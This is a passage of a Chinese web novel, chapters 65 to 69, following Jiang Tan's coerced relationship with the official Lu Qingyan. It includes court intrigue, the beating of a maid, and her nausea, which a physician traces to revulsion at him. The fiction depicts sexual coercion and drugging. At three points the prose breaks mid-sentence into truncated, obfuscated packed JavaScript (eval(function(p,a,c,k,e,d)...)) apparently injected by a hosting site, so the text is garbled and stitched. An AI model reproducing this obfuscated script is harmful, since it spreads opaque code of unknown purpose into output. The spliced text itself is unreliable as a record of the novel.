他从床边的锦盒中取了一晌贪欢和晃月香,一起倒入口中,又湿润地去吻姜昙的唇。 分明是她背叛了他,如今他放下了,她却比他这个受害者更挂怀! 为什么不能忘了过去那些痛苦的事呢? 这世上有诸多痛楚,人只需要寻欢作乐。 一晌贪欢,只要快乐就好。 忘了那些痛苦的事! 细细的喘息声掺杂着轻吟,两具滚烫的身躯交叠着倒在榻边,头发长长地垂散到地上。 . 秋风瑟瑟。 那些官眷夫人总算不上门了,陆青檐却忽然兴致勃勃,带人去郊外骑马。 姜昙疑心陆国公把他打傻了。 陆青檐勒马停住,一边说:“以后不会有闲人再来打扰你,我亲自陪你解闷,下来!” 他在下面摊开手,要接住她。 姜昙看了看地面高度,从另一侧下了。 “你非得跟我作对才开心?” 陆青檐面色发黑,牵马独自往前,步子迈得很大。 姜昙站着不动。 她往后看了看,紫珠双双在花丛里玩,她有点想去那边,甚至想离开这里。 脚步声重重地接近,身后有人拉住她的手,烦人的陆青檐又回来了。 “跟我走!” 他们走到一处林子里,护卫得过吩咐只远远站着,刘武也只在林子外等候。 陆青檐在寻猎物,听说这里有野兔子,可以打一只回去烤着吃。吴江和盐城的百姓多吃鱼,或许没尝过地上蹦哒的野物滋味。 姜昙心不在焉地看来看去。 头顶的树枝上有一只五彩斑斓的鸟儿,尾巴长长地拖着,像是一条彩带。 姜昙看得目不转睛,陆青檐在耳边问:“喜欢这个?” 姜昙箭术极好,除了下苦功夫练习,她本身也一定很喜欢。 陆青檐将弓箭塞到姜昙手中:“你的箭术好,你来试试,一定能射中。” 犹豫片刻,姜昙试探着拉开弓,对准鸟儿。 陆青檐说:“这鸟儿的羽毛好看,你若喜欢,可以杀掉它后留下它的羽毛,做香囊配饰,什么都好。” 弓越绷越紧,几乎要撑满。 姜昙蓦然调转箭矢,对准了不远处的陆青檐。 66. 第 66 章 “长公子!” 刘武一直关注这边情形,瞳孔一缩就要进来。 陆青檐紧盯着姜昙,并没有应。 不得到命令,他不能动手,刘武只能候着,然而严阵以待,腰间剑已出鞘。 姜昙拉弓的手颤抖起来,稍不留意,下一刻箭矢射出,对准的就是陆青檐的心脏。 杀了他,杀了他就好了。 这个距离,是必死的结果。 亲自动手,确保他再也无法死而复生。 姜昙脑中有这样一个声音说道,她手上更加用力拉紧弓弦,几乎勒破手指。 “咯噔”一声,弓弦断了。 姜昙的手指僵硬,仍维持着拉弓的动作,而弓上箭矢失去推力,掉落在地。 陆青檐笑着拍手:“阿昙的箭术真精彩。” 他边说着边走过来,将断裂的弓弦从她手上抽出去,又将断弓丢在地上。 陆青檐用衣袖擦了擦姜昙指间的血,对刘武说:“这副弓箭的质量不好,换一副来。” 很快一副新的弓箭送到两人面前,陆青檐再次递到她手上,示意她看树枝上的鸟儿。 然而一番折腾下来,鸟儿早已被惊走了。 姜昙神情恹恹地将弓箭丢开,转身要走。 陆青檐握住她的手:“离远些。” 这句话是对刘武说的,刘武一个飞跃,人已在林子外面,看不见身影。 姜昙蓦地被按在树上,头顶有几片枯叶从两人身边落下去。 陆青檐紧紧看着她的眼睛,忽然一扯嘴角,执起她渗血的手掌吻了吻。 树痕干涩,背上有刺痛袭来,姜昙蹙眉避开,已被他急切地吞了舌头。 “姜昙……姜昙!” 陆青檐不似是怒意,他不知怎么又兴奋起来。 枝上残存的枯叶簌簌震落。 . 回去时,两人又坐了马车,却并不是回府的路。 陆青檐掀开车帘,让她看不远处的酒楼:“这虽不是京城最大的酒楼,却是京城最好吃的酒楼。我们今晚不回去,就住在那里,往上数第三层楼……” 酒楼里人声鼎沸。 小二热情洋溢地招呼着新来的客人落座,迎接陆青檐的是掌柜,恭恭敬敬地引他们走另一道楼梯。 这处无人经过,是掌柜专门招待贵客的地方。 沿着楼梯上去,是富丽堂皇的雅间,掌柜推开最靠里的一间。待两人落座后,几个伶俐的小二端着菜鱼贯而入。 每上一道菜,掌柜就从头到尾将菜的做法、典故等细说一遍,即使两位贵客没有听,也没有一丝懈怠停顿。 姜昙被牵着坐在窗边。 陆青檐指着河对岸的阁楼:“这就是你来京城那天,我们看到的武馆,往年比箭都得秋后过一阵子,不过今年我让他们……” 陆青檐忽然停下。 因为姜昙心不在焉,根本没有看他指的地方。 听到“武馆”二字,姜昙想到了施茂林,他曾经最想来扬州,更奢望来京城—— ‘妙仪!我听说京城汇聚着天下所有的英雄好汉,真想去看一看呐!’ 下巴被抬起,姜昙对上了陆青檐的眼珠:“你在想谁?” 姜昙顿了顿:“在想你……什么时候让我吃饭,我饿了。” 陆青檐的眼中绽出一丝笑意:“那你想出来了吗?” 姜昙:“现在。” 所有人都退出去,陆青檐关上窗户:“那就现在。” 饭用至差不多时,陆青檐忽然想起一事:“给你介绍一个故人。” 姜昙捏着筷子的手骤然用力:“……哪个故人?” 陆青檐拍拍手,门被轻声推开,曾经同船而行的杜良一身护卫装扮,腼腆地对着二人笑了笑。 姜昙想起下船时的那个仆妇,被拖走时一直在哭,手上的污泥在求饶时沾上她的裙角,生生按出一个手印来。 下人给她擦拭,却怎么都擦不掉。 “先前久不联系,回京才知道介绍给杜兄的那位雇主已经仙逝了,真是不好意思。” 陆青檐递给杜良一盏茶,身形分毫未动。 杜良躬身接过来,掩面喝了下去:“多谢长公子。” 陆青檐握住姜昙放在桌面上的手:“杜兄太客气了,你我在京城不约而遇两次,那就是有缘分。在谁手下做事不是做?不如到我手下,你和阿昙是故交,我怎么也该照应你几分。” 杜良犹豫片刻,躬身过来给姜昙倒了一杯茶,恭恭敬敬地唤了一声“夫人”,谢道:“承蒙照顾。” 姜昙坐着不动,手心攥紧。 陆青檐笑了笑,接过茶杯递到她唇边,温声说:“阿昙,杜兄诚意十足,给他一个面子。” 姜昙闭了闭眼,睁开时心底的情绪已压抑不住:“陆青檐,你——” 陆青檐手指顿了顿,忽而调转方向,递至唇边自己喝了: “阿昙喝不下,我替她饮,杜兄勿怪。” 杜良连忙摆手:“属下岂敢,长公子是主人,以后切勿这样叫我,直呼姓名即可。” 杜良退出去后关门,姜昙再也忍不住,重重甩开陆青檐的手。 陆青檐敛了笑意:“他没有去处,我让人给他找了落脚之地,还给他一份谋生的差事。府里规矩虽严,可俸银比京城别家高出几倍。家中随意一个奴才,你尽可拦住一个去问,看他是否愿意在府里做事。” 他认真地看着她:“阿昙,我是在做好事。于杜良而言,这是恩情。若是他不愿意大可以走,可是他没有……阿昙,你何处不满意?” 天色暗了下来。 雅间内灯火通明,姜昙却看不清陆青檐面上神色,更分不清他说的是真是假。 宋庸恶贯满盈、罪行累累,可当时在吴江许多百姓称他小善人,这是他信手拈来的本事。 他口中的“好事”,总是伴随着别有用心。 思索许久,姜昙说:“让他走。” 察觉到姜昙的态度软和,陆青檐走过来,重新握住她的手:“你是府里的女主人,我听你的,明日就遣他去别处。” . 雅间内……似乎有动静。 杜良想到那晚在船舱外听到的声音,顿时面红耳赤,转身离开几步,离房门远远的。 “回来。” 刘武神出鬼没地出现,示意杜良站到原来的位置。 杜良为难说:“可是里面……” “那关你什么事?”刘武淡淡看着他:“你是一个护卫,职责就是守门,做好分内之事。无论听到什么,看到什么,都要忍着当一个聋子、瞎子。” 可是仅隔着一道门,怎么能听不到,杜良想说你站此地试试? 可他忽然想起来,自己已成为人家的末等护卫,而刘武是一等护卫,换句话说,这是自己的顶头上司。 不仅陆青檐可以训话,刘武更是可以训话。 刘武瞥他一眼:“明日府内护卫长处,自领五鞭。” “我……” “十鞭。” 他又忘记了自称属下。 杜良将腰弯下去:“属下遵命。” 刘武消失在暗处,杜良一步一步挪回原处,听着门内的动静,手指紧紧抓住剑柄。 . 送水进来时,陆青檐手掌终于离开了姜昙的唇。 她想起门外的人,连续忍了好一段时候的怒意终于止不住,在陆青檐面上扇了一巴掌。 陆青檐的气息尚且不稳,捏着姜昙的下巴:“这又是什么意思!” 他费心哄她开心,她就是这么对他的? 方才他捂着自己的唇不让她出声,还说门外有人,不要被听到。 他分明就是故意的。 姜昙质问:“你是不是贱得慌?” 逼她喝药,带她射箭,让她见故交,还有那几场欢好,包括船上那几次。 这几日她总是没有精神,还有夜里那些古怪的举动,听进了太医的话,他想法子讨她欢心。 他很想让她回到以前那样。 哪怕是船上那夜骂他为什么不去死的时候,或是叫他滚,亦或是用箭指着他。 不想在她眼里就是这样,终究是厌恶他,所以看一切都不喜欢。 陆青檐发狠说:“对,我就是贱得慌。可我瞧你方才的反应,分明也很舒服。你不是很喜欢我对你使贱……” 姜昙咬牙,抬手又是一巴掌。 这次却被他在半空中拦住手腕。 两人皆发狠对视,门被叩响:“长公子,尚书府递了消息,命你速速进宫!” 静默一瞬,陆青檐松开姜昙,披衣而起,一面道:“邓显在何处?” “已在门外候着。” 匆匆拢好衣服,陆青檐推门而出,雅间内只剩姜昙一人。 门外有许多人影,陆青檐的手下还在守着,姜昙想叫紫珠,却想起来她今日没跟着出门。 姜昙胃里忽然翻覆,她急急地扶着榻边呕吐,却什么都没有吐出来。 今晚吃的不多,她只吐出来一些水,是刚才喝下去的茶。 她几乎一瞬间想到那个可能,哆哆嗦嗦地把脉,方才探清脉象,胃里又是一阵恶心。 . 陆青檐进宫时,一群大臣正忙着翻书,古籍史料铺了一地。 闫尚书撑着脑袋,眉头紧锁。 刚进殿内,一个臂挽拂尘的太监弯腰急匆匆进来:“皇上那边又开始催了。” 闫尚书一见陆青檐,眉头松开,对太监道:“在外稍候,待会儿就带信过去。” 几个身着红色官服的官员,一见陆青檐就拉他到书案前:“快来瞧瞧,一刻钟前送来的。皇上今夜不知怎么又起了翻书的兴致,写了一行话,说是记不起在何处看过原句……” 官员们满眼希冀地望着他。 陆青檐随意一看,便有了眉目。接过旁人递来的笔,在纸上写了下来。 围观的几人恍然大悟:“原来如此,我竟没想到……” 立刻将纸递给闫尚书,后者扫了一眼,就唤太监来:“送过去。” 几位官员对着陆青檐夸赞,闫慈也点头:“青檐还读过寻仙问道的古书?” 陆青檐恭敬答道:“义父病重那段时日,庸心急如焚。曾听人说仙山有仙人,若心诚可求仙药得治百病。病急乱投医,就翻了许多。” 几人连声夸他有孝心,祝贺闫尚书有这样一位好儿子。 闫慈露出欣慰的笑意。 陆青檐出宫时行至拐角,忽遇香风扑面,一个美人静静而立。 美人躬身一礼:“陆大人。” 陆青檐躬身回道:“贵妃娘娘。” “才几日不见,就这么生分了?怎么不像从前一样唤我。” 贤妃款款几步走到近前,虚虚地靠在陆青檐肩上。 陆青檐悠悠说:“娘娘胆子可真大,皇上这会儿还没歇,你就不怕被他看到?听说娘娘最近正得恩宠,若是皇上兴起传召,该如何是好?” “怕什么?” 贤妃挑起他肩上的一缕头发,缠在指间打转:“不是有你在?就算皇上要赐我死罪,你也跑不了。我们生不能同寝,却可死同穴,多么凄美的故事。” 陆青檐一扯嘴角,将头发从她指间拽出来。 “怎么——” 贤妃幽幽问:“你生气了?还是急着回去见扬州带回来的女人,宝贝一样藏在府里。她有什么好,长的比我美吗?” 陆青檐竟认真上下打量了她一眼。一寸一寸地看过去,看得贤妃浑身燥热。 半晌,他说:“娘娘出来前可照过镜子?” 贤妃气得发狂。 然而下一刻,陆青檐笑说:“我的意思是,娘娘这般容貌,何须与一个乡野出身的女人作比。美与不美,娘娘心里没数吗?” 听明白他话中意思,贤妃脸上怒意散去,渐渐泛红。纵使寒风阵阵,身着薄纱也不觉冷,反而愈发滚烫。 宫灯丢在一边。 贤妃看不清面前之人的脸,却记得他的俊美令人心驰神往。 “青檐。” 她轻轻唤了一声,仿佛又回到入宫之前,与闺中好友去佛寺求姻缘。遍山翠绿,山路尽头站着青竹一般的少年。 贤妃倚靠在陆青檐的胸前,心中无比踏实。 陆青檐的手落在贤妃肩头,轻声问:“皇上近来如何?” 贤妃往他手边紧挨着,抱怨说:“皇上近来同首辅吵得厉害,不常召我侍奉,连后宫也很少来。微服出宫了一趟,带回来两个老道,整日相谈甚欢,旁人谁也不见。就连皇后那个老女人假模假样去送羹汤,却吃了个闭门羹……你不知道,你离开京城这么多时日,我多想你。” 贤妃的手摸上陆青檐官服的腰带。 “有人。” 陆青檐将她推开,使了个眼色。贤妃慌张离开,连灯也忘了带走。 说不怕死是假话,跑得比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他知道汤慎是自己救走的。 陆昇心中隐有怒意,在陆青檐笑着经过身边时,猛然捉住他的袖子:“兄长,不,庸弟!” 他这位“兄长”不是面嫩,而是根本就是小他一岁,今年最多不过十九岁。 每一次叫他兄长,都好像低他一头。 陆昇知道他用了很多不干净的手段,救出汤慎时他浑身上下没有一块好皮,被折磨得奄奄一息却留着一口气,与活死人无异。 这都是眼前的陆青檐做的。 小他一岁,尚且年少,却心狠手辣,行事悖逆。 原本以为到皇上面前揭发一切,能治他的罪,可结果与他们设想的背道而驰。 是陆青檐诡计多端,还是他们学的为官谋略不足? 陆昇很想撕破脸皮,问问他祖母的病是怎么回事,可看到陆青檐那张笑面却又冷静下来,他不会承认的,反而会耻笑他的失态。 陆昇松开手:“这世上真的有仙人吗?” 方才皇上来问的,正是寻仙问道的古籍。 尚书那边递上的回复他看过,根本不是皇上忘了的哪句话,而是古书上一则没有求证过的长生术。 然而皇上却很满意。 陆青檐却反问:“这世上真的有鬼吗?” 若世上有鬼,冤魂早已来找恶人寻仇,可恶人依旧好好站在这里。 “有没有,昇弟心里有数,何必多嘴问我?”陆青檐掸掸衣袖,悠然说:“何况有没有都不要紧,要紧的是信与不信。昇弟以为呢?” 陆青檐微微一笑,提起灯笼,擦身离去。 陆昇握紧拳头,却浑身无力。 . 出宫门时,邓显在外面等着。 来时仓促骑了马,邓显想着或许长公子急着回去,故而依旧牵马等着。 候着的下人带了比寻常人多一倍的灯笼,将路面照得十分明亮。 邓显自然也看到了陆青檐的脸色:“长公子,你……” 陆青檐一手捂脸,眼神不善地看过来,尚未捂严实的指缝里露出一抹红痕。 ……总不能是抹了胭脂。 陆青檐脸色更沉:“看什么!” 邓显和下人们连忙低头,躬身退至一旁请主人上马。 陆青檐掩面的手去拉缰绳,滚烫的脸上察觉一丝凉意,又愤愤捂了回去:“还不去换轿!” 方才宫中殿内灯火明亮,将桌上墨迹照得通透,遑论一张脸。 那几人围得那般近,一定也看得清清楚楚! 陆青檐这才明白,几人夸赞他时,往他脸上飘的奇怪目光,简直和邓显的眼神一模一样。 换轿是邓显亲自去办的,不多时就送来一顶轿子。 陆青檐坐进去,感受到周围昏暗下来,才将衣袖放下。 轿帘外递进来一个盒子,陆青檐拿起来,里面竟还有铜镜:“什么东西?” 邓显:“……” 陆青檐忽然闻到一股药味:“……扔出去!” 邓显手忙脚乱地接住,轿子行了有一半的路,里面又传来一道闷闷的声音:“拿来。” . 陆青檐本意去酒楼,说好要在那里过夜赏景。 然而邓显犹豫地告诉他:“夫人已回去了。” “那就回去。” 陆青檐低头闻了闻自己的衣服,似乎有一股甜腻的香味。 他皱了皱眉,心道这件衣裳不能要了,回去还得沐浴更衣,真是麻烦! 时辰已晚,陆青檐于是直接去了浴房,出来时神清气爽,然而脸上竟还红着,甚至有些肿了。 姜昙手上的力道渐长,看来被纵得越发野蛮了! 幸而今日府里沿路的灯笼比往常少了一半有余,走在路上也无人看得清他的脸。 陆青檐于是往寝院去,书房也设在那处,他决定今晚冷一冷姜昙。 然而姜昙还没睡。 廊下的婢女陪她说话:“夫人,现在感觉可好些了?” 姜昙说不出话来。 面前忽然投下一个黑影:“夫人怎么了?” 婢女战战兢兢站起来,姜昙抬头看了一眼陆青檐,胃里又是一阵翻涌,猛然吐了出来。 陆青檐又惊又喜:“你有孕了?” 67. 第 67 章 姜昙身体颤抖,待平息下来后,看到身旁小心翼翼的陆青檐,推开他。 “没有。” 姜昙一字一顿:“我不会有,从前没有,以后也不会有!” 陆青檐心底发寒。 很快一股怒意涌上来,他控制不住地扭曲脸色:“说清楚!什么叫以后也不会有?” 姜昙手上无力,挣不开陆青檐的手,索性不挣扎,就这么看着陆青檐:“你我这样的关系,强行在一起苟合,还要弄出一个孩子来,多一个人受折磨吗?” 陆青檐反问:“跟我在一起是折磨,那跟谁在一起不是折磨?施茂林?还是杜良?” 他嘴角是不屑的讥讽:“那样的人你也看得上,肤浅如井底之蛙,鲁莽如山间野彘。没有头脑,整日痴心妄想,偏偏懒惰又愚蠢。他们的后代倒霉地投生于此地,也会在逐渐长大之中,继承父母的鼠目寸光和无知愚蠢,最终变成脚边的污泥、墙角的灰尘。姜昙,你非得自甘下贱?” 数年前,有人也是这么质问的。 陆青檐到底是宋庸,还是那个看不起任何人的宋庸。 姜昙冷冷看他一眼,往外走。 陆青檐抓住她的手:“往哪去?” 姜昙说:“我本就是卑贱之人,与你在一起只会污了你的血脉。长公子离我远些,免得沾上我这一滩污泥灰尘。” 陆青檐的话语像是从牙缝里挤出来的:“你好好地与我在一起,就不会卑贱。你生下孩儿,我会安排他去国子监读书,他将有最好的老师,成为最优秀的士子。不必仰望旁人的学问,也无须仰仗旁人的鼻息,最终会成为最尊贵的人!” “我无福消受!” 恶心的感觉又来了,姜昙止不住干呕,眼角泛出泪水。 一只手在她背上缓缓顺气,陆青檐的语气温软下来,扶着她的肩劝道:“姜昙,为什么非要和我作对,我们之前不是很好吗,还像以前那样,好不好?” 不好。 以前她是在用力忍着,现下她忍不下去了。 今晚呕吐之时脑中生起的念头,教姜昙猛然想起一件事来。 她与陆青檐苟且这么久,尽管她小心避防有孕,却不是全然稳妥。 去摸自己的脉象时,姜昙甚至惊出了一身冷汗。 陆宅的下人像看管犯人一样守着她,不让紫珠出门,也不许她托人买东西。出入她身边之人,皆要被仔细探查身上有无夹带。 她明白陆青檐的心思,知道她会医术,所以要杜绝一丝一毫让她接触药材的可能。 或许是怕她不顾吴江诸人的性命,一时气愤毒死他。又或许是还想着,要她生儿育女。 单是听到那些官眷夫人说的话,她都费了很大的心神才忍下去。 而今忽然呕吐,联想到那个可能,想到他描述的以后,她再也无法忍受下去! 陆青檐的手指探过来,擦去她眼角的泪水,又接过一旁下人递来的巾帕,仔细擦拭着她唇角的污秽。 神情专注,动作温柔,宛若良人。 姜昙抬头看他,用力将陆青檐推开。 这一次用了十成十的力道,陆青檐没有防备,险些向后摔倒,下人们手忙脚乱地扶住他。 若是这一次她的手落在他的脸上,也一定是如今晚那时难堪的痕迹。 陆青檐死死盯着她。 盯了许久,他忽然唤道:“来人,把她拖下去!” 先前为姜昙拍背递水的婢女惊惶跪下:“长公子饶命,奴婢从来没有挑拨夫人说这些,奴婢冤枉啊。” 两个护卫走过来,不由分说要将婢女拖走。 那婢女见求陆青檐无用,无措地扑到了姜昙腿边:“夫人,求求你!求你救救奴婢,府里规矩森严,奴婢一定会被带走打死的,求夫人救我!” 姜昙实则不知道她叫什么名字。 这婢女年岁尚小,为人怯懦,总是安安静静地坐在一边听紫珠说话,从不多嘴。 今夜是紫珠和双双在小厨房熬药,她才近身伺候,也不过一盏茶的工夫。 婢女痛哭流涕:“夫人救命,救救奴婢!” 护卫不敢推搡姜昙,离得远远的不知如何下手。 陆青檐不说话立在一边,静静看着姜昙。 他是故意的,非要逼自己回应。 这时,紫珠和双双端着药回来,见院中这般情形,不明所以地跟着跪在小婢女身后。 许久之后,姜昙开口:“她还小,放了她。” “这关我什么事?她坏了府里的规矩,就该接受处罚。你以为她还小,实则她已来府里一年了,比你住得更久,深知家里的规矩,因而是明知故犯,必须重罚。” 陆青檐说:“若是轻放了她,会教其余蠢蠢欲动的下人也跟着犯禁,到时候料理起来十分麻烦。我凭什么为了一个无关的人忍受麻烦?” 他挑眉看过来:“若是为了你……那我要问一问你,你是什么身份,是我的谁,又凭什么呢?” 姜昙张了张嘴:“我……” 刚说一个字,她就控制不住地呕吐。 “阿昙!” 陆青檐脸色一变,大步朝她走了过来,倾身扶住她。 姜昙的身体里像是钻进了什么东西,横冲直撞地与她的身体作对,折腾得她不得安宁。 这股劲头,可能非得把五脏六腑都吐出来才干净。 “快去找大夫!”陆青檐踢了一脚身边的小厮。 很快想到什么,他又对那小厮说:“滚回来!不要大夫,去找太医!孙太医!” 小厮连滚带爬地走了。 姜昙吐够了,双腿一软倒下来。 陆青檐慌忙接住她,连声宽慰:“我放了她,马上放了她!阿昙,你以后别与我作对,我们还像以前那样,好不好?” 陆青檐的脸凑过来,姜昙去推他的脸,手上却没有力气。 他将她的手按在自己的脸上,脸凑得更近了。 姜昙终于晕了过去。 . 孙太医忐忑地把脉。 身边陆青檐虎视眈眈,目光落在床上躺着的人,称得上温柔小意。落在他身上时,恨不得把他的脑袋穿出一个洞来。 他不由擦了擦汗。 “究竟是什么病?” 不等他把汗擦干净,这位公子哥就如此急切地问道,面上更是露出怀疑和怒意:“上次问你的病症,喝了药半分也没有缓解,甚至更加严重!这次你若再治不好,我就送你回乡种地!” 孙太医的汗流得更多了:“看病讲究望闻问切,得见了病人才能开方子,上次的药方虽是名方,可未必对症。一时不愈,也是有的。” 陆青檐忍着怒意:“这次让你见人了,究竟什么病?” 孙太医为难地摸胡子:“既是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆青檐嗤笑:“别高兴太早,我答应夫人饶了你的性命,却没说不罚你。” 具体是什么罪名,只是提了一句“宫里”,这个婢女就不供自招,全写在脸上了。 没必要再问了。 “打。” 陆青檐淡淡下令,执刑的小厮塞住婢女的嘴,毫不留情地用厚重的木板打在她身上。 不需要按住她,因为她根本无力可逃。 出卖主子,罚十杖。与宫里私通有无,在他这里,需要再添十杖。 不过既然姜昙不想她死,那就免去一半好了。 身后新上任不久的护卫因恐惧而呼吸不稳,陆青檐忽然转头:“杜兄,若我记得不错,你父母早逝,也没有人为你操心婚事?” 杜良说:“长公子好记性。” 陆青檐饶有兴致:“你也老大不小了,我帮你寻一个女人如何?你们相看一番,看不对眼另说。阿昙近来身体不适,我替她了却一桩心事,免得她忧心。” 身体不适…… 杜良抬头想说话,忽然对上陆青檐审视的笑意。 他想起了刘武的教导,身为护卫,必须对主子唯命是从。 半晌他弯腰:“多谢长公子。” 68. 第 68 章 姜昙醒来后的一日,没有见陆青檐的影子。 双双执着地在她耳边念叨,说她昏迷这几日,长公子多么担忧,在床前寸步不离,事事亲力亲为。 只是暂时遇到急事,不得不离开一会儿,离开前再三嘱咐要照顾好夫人的身体。 姜昙坐在水边吹风,她想起那个婢女,问了双双。 后者欢天喜地说:“那丫头好着呢,长公子虽然打了她十杖,可又请了最好的大夫为她瞧病。她早就活蹦乱跳下地了!长公子特意还了她的卖身契,给了她许多银两,放她出府嫁人去了。” 双双说起婢女的夫婿,滔滔不绝起来:“对方模样生得好,还在京中有一间带院子的房子,家中有些余钱,说要给她办一场热热闹闹的婚事……” 姜昙轻轻松了口气。 午时,陆青檐回来了。 姜昙的呼吸不由放轻,这两日没见陆青檐,再次与他相处一室,已感觉有些陌生。 她不说话,陆青檐也并不说话。用完饭,一碗药汤送到姜昙面前。 陆青檐忽然开口:“杜良在京郊买了一间新房,邀请我们过去贺喜,你去不去?” 姜昙沉默。 “你若不去,那我也不去。我挑几件贺礼,以我们夫妻的名义送过去好了。” 说着,他挥手让下人把箱子搬上来,亲自挑拣起来:“一般乔迁之喜都是送的什么?笔墨纸砚,诗书字画,还是……” 陆青檐在桌上叮铃咣当一阵子,突然没有声音。 姜昙忍不住瞥了一眼。 箱子里都是非同凡响的珍藏,只见陆青檐拿起了两本精描的春宫,面上闪过犹豫为难的神色。 沉默良久,姜昙终于忍不住:“你拿的什么?” 陆青檐已做出了选择,决定是右手这本。 这段日两人相处,总是一个淡然沉默,另一个兴致勃勃,最后也跟着沉默。 难得姜昙肯与他说话,陆青檐热情地将箱子里的东西一一讲解:“极品春宫图,欢喜佛,碧玉杵……你若喜欢都给你,再挑别的送去。” 从做宋庸的时候开始,陆青檐就是喜欢折腾的,经常生出常人难以理解的想法。 姜昙冷脸。 半晌,憋出一句:“不合适,送别的。” “送什么?以往都是别人上供的份儿,什么时候轮到我去给他们送?好不容易有兴致亲自挑,杜良一定会感恩戴德。” 他说着,一一抚过这些春宫图中画的爱物,都是上等品,花了不少银两才寻齐。 他看这些东西的眼神称得上温柔虔诚。 姜昙眼前一黑又一黑,她真的想拔腿离去,可他实在太荒唐了些,还是以她的名义。 她终于开口:“乔迁之喜可送貔貅、麒麟等镇宅添财之物,而非你那什么……” 姜昙难以说出口。 陆青檐接道:“碧玉杵,雕着精致的莲花纹,触手生温。这是上上极品,若是拿出去卖,至少二百两银子。” 陆青檐神态自若说着,非要将手中的东西递过来:“不信,你摸摸。” 姜昙撇过脸去。 陆青檐问:“到底送哪一件?不若都送去。” 他随手把那一堆扔在一边,可是想了想,还是把精描的春宫放进去。 在姜昙如火炬般的视线中解释:“杜兄也老大不小,他懂得这东西的妙处。现在用不着,成婚时总用得着。” 姜昙实在震惊他的厚脸皮。 她许久没有这样生动的神色,陆青檐喜欢得紧,笑着将脸凑过来。不防姜昙眉头蹙起,忽然朝旁边干呕。 陆青檐脸色一变,一面替姜昙顺着脊背,一面骂道:“这庸医!药比黄连还苦,喝了这么多次,却总不见好!” 他轻声宽慰:“明日我命人去别处寻医,京城大夫眼界狭隘,我们找更好的大夫来看。” 姜昙抬眼看他,眼角残留着泪水。 陆青檐与姜昙对视一会儿,额头抵住她的:“阿昙,那个婢女其实是宫里的眼线,她是坏人。不过你说要放她,那就放她,我已经让管家带她收拾东西,明日就出府待嫁了。” 他的手掌落在姜昙的后颈,手指不轻不重碾磨她的耳垂。 住在一起这么久,她早已明白他的习惯,这是在示好、求欢。 那日之后,两人一直未亲近。 听着他略微沉重的呼吸,姜昙措不及防开口:“我不信。” 陆青檐动作一顿:“那你要怎么样才信?” 姜昙看着他的眼睛:“她什么时候成婚,我要亲自去看一看。” “不行……” 陆青檐下意识就拒绝,反应过来解释道:“我并不是骗你,而是你的身体还没好,我担心你。” 姜昙垂眼,并不满意他的答复。 好吧。 陆青檐回头看了看,紫珠和双双远远站在门外,因姜昙不习惯,所以吃饭时一般是两人亲自动手。 紫珠正悄然关注着他们,对上陆青檐的眼神,连忙将脑袋缩回去。 于是陆青檐指着紫珠:“让她去。” 姜昙默认。 陆青檐面上绽开一抹笑意,低头要吻姜昙的唇角。 姜昙避开,眼睫微颤:“我身体还没好,大夫说要静养。” 这是方才他说的话。 姜昙能察觉到头顶的目光,忐忑地等了片刻,听见陆青檐说一句:“好。” 接下来几日,陆青檐真的去找大夫。 亲自出门去寻,将宫中的太医、京城里有名的大夫请来看了个遍,一张张方子试着,确认有效,再往姜昙跟前端着试药。 陆青檐还在府里养了大夫和医女,又特意请了个苏州厨子,变着法地做药膳,免得要受吃药之苦。 就这么过了小半个月,姜昙的精神竟真的好了许多,先前呕吐的症状也不再犯了。 陆青檐十分高兴,给看诊的大夫重金奖赏。 这一日,陆青檐醉醺醺地回来。 脸上泛着红意,周身有浓重的酒气。 他鲜少喝得这么多,而闫尚书在朝中越发得势,陆青檐作为他最宠信的义子,地位也跟着水涨船高,即使在酒宴不得不饮,应也无人敢灌他。 紫珠不在,双双得意地在姜昙跟前炫耀:“长公子近日为皇上办事办得好,被升为顺天府治中大人了。” 首辅许道成一党拿祖宗礼制说事,终究没抵过当今皇帝对生父母兴王和兴王妃的深厚孝心。皇帝不顾内阁反对,罢了许党几个叫嚣的官员,接着去掉了加在两人尊号前面的“本生”二字,将之追封为皇帝、皇太后,昭示自己的皇位并非继嗣,而是来自正统顺位。 生为帝统,死为庙统。 明有闫尚书助力,暗有陆青檐筹谋,兴王与兴王妃的神位也顺利祭入太庙,实现了大昭礼法上的称宗祔庙。 如今许道成渐显颓势,而闫尚书深得帝心。一日之内总要被召见两三次,不论日夜,商议礼乐,陆青檐随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜昙呼吸艰难,向开了一条缝隙的窗口去,那处有清新的空气。 陆青檐从后掬住她:“你心跳好快……” 他又将她翻过身来,细细啃噬她的颈侧。姜昙看见他迷乱的双眼,再也忍不住,向一边干呕。 什么都没有呕出来,而是控制不住的反应,身体如瑟瑟秋风中的枯叶,一阵一阵地颤动。 空寂的浴房中,只有一声又一声抑制不住的干呕声。 湿漉漉的水雾在眉间凝成水珠,啪嗒一下滴入水面。 陆青檐酒醒了。 . “这到底怎么回事!你不是说都好了吗!” 这祸害虽然向来脾气不好,可总算还维持着世家公子的体面。这一次竟是连体面都不要了,像个野蛮的武夫一样揪住自己的衣领。 孙太医擦了擦汗:“病有反复,也合常理。更何况、何况……” 要说吗? 若是隐瞒,这祸害说不定要用百种手段折磨他。 还是说吧。 “若真如长公子所说,先前惊梦,眼下呕吐,并非两种病症,而应合二为一。病因是——” 孙太医揣着袖子,偷偷瞥他。 病因是他。 或者说,根本没病。 先前那段时日症状减轻,正好是两人分房而睡。 如今两人重新在一起,她就重新有了这样的症状。 姜昙在他身边,大多时候都是乖顺的。原来她一直在忍,如今忍不下去了。 她的身体排斥他。 69. 第 69 章(补) 赵青林不懂他。 